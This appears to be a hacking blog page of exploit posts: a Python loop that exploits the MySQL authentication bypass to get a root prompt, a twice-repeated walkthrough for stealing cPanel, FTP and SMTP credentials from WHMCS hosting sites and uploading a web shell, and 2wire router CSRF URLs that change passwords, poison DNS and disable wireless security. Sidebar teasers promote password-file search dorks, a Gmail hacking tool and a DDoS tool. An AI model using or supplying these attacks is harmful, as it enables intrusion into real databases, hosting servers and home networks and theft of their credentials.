Popular Posts
-
admin account info" filetype:log !Host=*.* intext:enc_UserPassword=* ext:pcf "# -FrontPage-" ext:pwd inurl:(service | authors...
-
1. Download Gmail hacker software to hack Gmail password. http://www.4shared.com/file/175280640/863ac191/Gmail_Hack.html 2. Now, ru...
-
Ddoser 3.4 - Credit to Online D0wnload Pass:-thisisthepass111 [DDoSeR] (Programmed in Delphi 7 By Sam) Ma...
-
This summary is not available. Please click here to view the post.
-
What is the Use of The Proxy? Hide your IP. Browse the Internet anonymously. 100 percentage working process list Share Here is the list of p...
Blogroll
BlogRoll
Recent Posts
Showing posts with label Exploits. Show all posts
Security vulnerability in MySQL/MariaDB sql/password.c
There has been a new MYSQL authentication bypass exploit released on seclist
here:http://seclists.org/oss-sec/2012/q2/493.
It is absolutely trivial to gain root access to a MySQL database at this point. Thanks to jduck for the tweet bringing this to our attention.
here:http://seclists.org/oss-sec/2012/q2/493.
It is absolutely trivial to gain root access to a MySQL database at this point. Thanks to jduck for the tweet bringing this to our attention.
Easy python script to gain root access to MySQL:
#!/usr/bin/python
import subprocess
while 1: subprocess.Popen("mysql -u root mysql --password=blah",
shell=True).wait()
Below running the command:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>
WHMCS Hacking with Sumbit Ticket exploit
Credit DevilCafe
Today we are going to learn, how to Hack WHMCS or you can say its submit ticket exploit ,through which we will we will get the cpanel username and password of hosting panel and website hosted on that whmcs.
lets start
step 1
Get a website which provide hosting and find out the option " submit ticket"
step 2
now open submit ticket option and click on sales department
step 3
now we have to fill the following
info like "name , email address, urgency put any random info is these fields and main thing is subject filed"
fill this code in subject field
and scroll down fill the Captcha click the submit button
we will be redirected to next page where it will show cpanel username and password
boom ! you have cpanel usernames and passwords of hosting panel,website hosted on that server
if you are lucky , you may also get the FTP and SMTP passwords too !
ok it was all about the the cpanel,FTP and SMTP passwords if whmcs dont have any website hosted on it you wont get anything then ????????
dont be sad :)
we have one more trick and this will help you to upload the shell on whmcs website :)
how ???
lets move :)
come back to the submit ticket page put any random info in email,name and urgency field
main step is to put the php code in subject field this time we are going to put the php code, if it got executed successfully we will get a uploader on the website through which we will be able to upload shell on the website so lets start
fill the any random info in other fields and put this php code in subject field
fill the captcha click enter, now first of all , have a look on the submit ticket url
for example
http://www.website.com/client/submitticket.php
so to get the uploader replace the submitticket.php with downloads/indexx.php
remember its indexx.php,when code will execute , it will create indexx.php and its uploader
so open the url
http://www.website.com/client/downloads/indexx.php
you will see file upload option !
browse the shell and click upload after uploading shell
opn the url
http://www.website.com/client/downloads/shell_name.php
Today we are going to learn, how to Hack WHMCS or you can say its submit ticket exploit ,through which we will we will get the cpanel username and password of hosting panel and website hosted on that whmcs.
lets start
step 1
Get a website which provide hosting and find out the option " submit ticket"
step 2
now open submit ticket option and click on sales department
step 3
now we have to fill the following
info like "name , email address, urgency put any random info is these fields and main thing is subject filed"
fill this code in subject field
and scroll down fill the Captcha click the submit button
we will be redirected to next page where it will show cpanel username and password
boom ! you have cpanel usernames and passwords of hosting panel,website hosted on that server
if you are lucky , you may also get the FTP and SMTP passwords too !
ok it was all about the the cpanel,FTP and SMTP passwords if whmcs dont have any website hosted on it you wont get anything then ????????
dont be sad :)
we have one more trick and this will help you to upload the shell on whmcs website :)
how ???
lets move :)
come back to the submit ticket page put any random info in email,name and urgency field
main step is to put the php code in subject field this time we are going to put the php code, if it got executed successfully we will get a uploader on the website through which we will be able to upload shell on the website so lets start
fill the any random info in other fields and put this php code in subject field
fill the captcha click enter, now first of all , have a look on the submit ticket url
for example
http://www.website.com/client/submitticket.php
so to get the uploader replace the submitticket.php with downloads/indexx.php
remember its indexx.php,when code will execute , it will create indexx.php and its uploader
so open the url
http://www.website.com/client/downloads/indexx.php
you will see file upload option !
browse the shell and click upload after uploading shell
opn the url
http://www.website.com/client/downloads/shell_name.php
Cross Site Request Forgery in 2wire routers
Vulnerable Routers: 1701HG, 2071 Gateway Software: v3.17.5, 5.29.51 Password Not Set (default) Greetz a la Comunidad Underground de México, y a los que me ayudaron a probarlo: Preth00nker, nitr0us, ... hkm () hakim ws I. Background ------------- This is the most popular router in Mexico and the default installation from the ISP has no system password. II. Vuln ---------------- It is possible to send a request to the router that will modify its configuration. It does not validate POST, or Referer or Anything... II. Exploit ---------------- We just need the client to do a request to the router with the configuration we desire. [examples] Set a password (NUEVOPASS): http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS Add names to the DNS (216.163.137.3 www.prueba.hkm): http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.prueba.hkm&ADDR=216.163.137.3 Disable Wireless Authentication http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0 Set Dynamic DNS http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE Disable the Firewall Reset the device Etc... DNS Poisoning demo: http://www.hakim.ws/2wire/demodns.html
source : http://seclists.org/bugtraq/2007/Aug/225